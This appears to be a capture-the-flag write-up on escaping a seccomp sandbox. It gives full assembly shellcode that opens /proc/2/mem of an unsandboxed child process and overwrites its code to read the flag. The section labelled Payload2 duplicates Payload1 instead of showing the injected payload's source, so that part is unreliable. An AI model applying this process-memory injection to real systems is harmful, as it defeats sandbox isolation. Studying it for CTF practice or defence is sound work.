https://gist.github.com/cwgreene/8d6993f57e1ab426f1e360dee91eeff8
So we're presented with a process where we can execute arbitrary shellcode (yay syscalls!)but are restricted in which syscalls we can make.
```cvoid setup_seccomp() {  scmp_filter_ctx ctx;  ctx = seccomp_init(SCMP_ACT_KILL);  int ret = 0;  ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(stat), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lstat), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(lseek), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mprotect), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(writev), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(access), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sched_yield), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(dup2), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(clone), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fork), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(vfork), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(execve), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(kill), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(chdir), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fchdir), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(gettimeofday), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getuid), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getgid), 0);   ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);   ret |= seccomp_load(ctx);  if (ret) {    exit(1);  }}```
of note, although we cannot call `read` we *can* invoke `write` and `open`.Furthermore, prior to initialization of the seccomp controls, a child process was forked.
```cvoid check_flag() {  while (1) {    char buf[4] = "";    //int fd = check(open("/home/user/flag", O_RDONLY), "open(flag)");    int fd = check(open("flag", O_RDONLY), "open(flag)");    if (read(fd, buf, sizeof(buf)) != sizeof(buf)) {      err(1, "read(flag)");    }    close(fd);    if (memcmp(buf, "CTF{", sizeof(buf)) != 0) {      errx(1, "flag doesn't start with CTF{");    }    sleep(1);  }}
int main(int argc, char *argv[]) {  pid_t pid = check(fork(), "fork");  if (!pid) {    while (1) {      check_flag();    }    return 0;  }
  printf("[DEBUG] child pid: %d\n", pid);  void_fn sc = read_shellcode();  setup_seccomp();  sc();
  return 0;}```
Since we have file access, and we know the pid (given both by stdout, and the fact that it's always 2),we can simply access the child's TEXT section and overwrite the code that will be executed after the sleep.
So we have two payloads. The first is the one responsible for opening the child processes's memory, andthen writing the second payload which opens the flag file and writes it to stdout (which is shared withthe parent process).
Payload1:```asm[BITS 64]
mov rsi, [rbp-0xc]add rsp, -0x200mov rdi, rspmov rcx, '/proc/2/'mov [rdi], rcx
; this was split into two secitons; because I thought I needed to dynamically update '/proc/$PID'mov dl, 'm'mov [rdi+8], dlmov dl, 'e'mov [rdi+9], dlmov dl, 'm'mov [rdi+10], dlmov dl, 0x0mov [rdi+11], dl
;; Okay, we have the mem string; open memmov rax, 2mov rdx, 0mov rsi, 1 ; O_WRONLYsyscallmov r9, rax ; store filedescriptor
; push new shellcode to stack; generate this code; from shell See "Part 2";; Put shell code into r10mov r10, DATA
;; Seek to target locationmov rax, 8 ; lseekmov rdi, r9mov rsi, 0x004022e3 ; replace jmp after sleep with our codemov rdx, 0 ; SET_SEEKsyscall
;; Write Shell codemov rax, 1mov rdi, r9lea rsi, [rel DATA]mov rdx, 100; sizeof(shellcode)syscall
;; busy wait, let the other process do stuff, don't know how to yield;; don't know if HLT works, nor do I know 'sleep' location. Sorry sre's.mark:  jmp mark ;mov rsi, [rbp-0xc]
DATA:db 72, 184, 101, 114, 47, 102, 108, 97, 103, 0, 80, 72, 184, 47, 104, 111, 109, 101, 47, 117, 115, 80, 191, 1, 0, 0, 0, 72, 137, 230, 186, 15, 0, 0, 0, 184, 1, 0, 0, 0, 15, 5, 184, 2, 0, 0, 0, 72, 137, 231, 190, 0, 0, 0, 0, 186, 0, 0, 0, 0, 15, 5, 72, 137, 199, 72, 137, 230, 186, 100, 0, 0, 0, 184, 0, 0, 0, 0, 15, 5, 191, 1, 0, 0, 0, 72, 137, 230, 186, 100, 0, 0, 0, 184, 1, 0, 0, 0, 15, 5```
Payload2 (technically it's the DATA section)```asm[BITS 64]
mov rsi, [rbp-0xc]add rsp, -0x200mov rdi, rspmov rcx, '/proc/2/'mov [rdi], rcx
; ;mov eax, esi;mov ecx, 10
; 1s;div ecx;add edx, 30;mov [rdi+6],  dl
; 10s;div ecx;add edx, 30;ov [rdi+6],  dl
; 100s;div ecx;add edx, 30;mov [rdi+6],  dl
; 1000s;div ecx;add edx, 30;mov [rdi+6],  dl; assume 4 or five digit PID, try again if fails
;;  think I need an indirect register for this;mov dl, '/';mov [rdi+8], dlmov dl, 'm'mov [rdi+8], dlmov dl, 'e'mov [rdi+9], dlmov dl, 'm'mov [rdi+10], dlmov dl, 0x0mov [rdi+11], dl
;; Okay, we have the mem string; open memmov rax, 2mov rdx, 0mov rsi, 1 ; O_WRONLYsyscallmov r9, rax ; store filedescriptor
; push new shellcode to stack; generate this code; from shell See "Part 2";; Put shell code into r10mov r10, DATA
;; Seek to target locationmov rax, 8 ; lseekmov rdi, r9mov rsi, 0x004022e3 ; replace jmp after sleep with our codemov rdx, 0 ; SET_SEEKsyscall
;; Write Shell codemov rax, 1mov rdi, r9lea rsi, [rel DATA]mov rdx, 100; sizeof(shellcode)syscall
;; busy wait, let the other process do stuff, don't know how to yield;; don't know if HLT works, nor do I know 'sleep' location. Sorry sre's.mark:  jmp mark ;mov rsi, [rbp-0xc]
DATA:db 72, 184, 101, 114, 47, 102, 108, 97, 103, 0, 80, 72, 184, 47, 104, 111, 109, 101, 47, 117, 115, 80, 191, 1, 0, 0, 0, 72, 137, 230, 186, 15, 0, 0, 0, 184, 1, 0, 0, 0, 15, 5, 184, 2, 0, 0, 0, 72, 137, 231, 190, 0, 0, 0, 0, 186, 0, 0, 0, 0, 15, 5, 72, 137, 199, 72, 137, 230, 186, 100, 0, 0, 0, 184, 0, 0, 0, 0, 15, 5, 191, 1, 0, 0, 0, 72, 137, 230, 186, 100, 0, 0, 0, 184, 1, 0, 0, 0, 15, 5```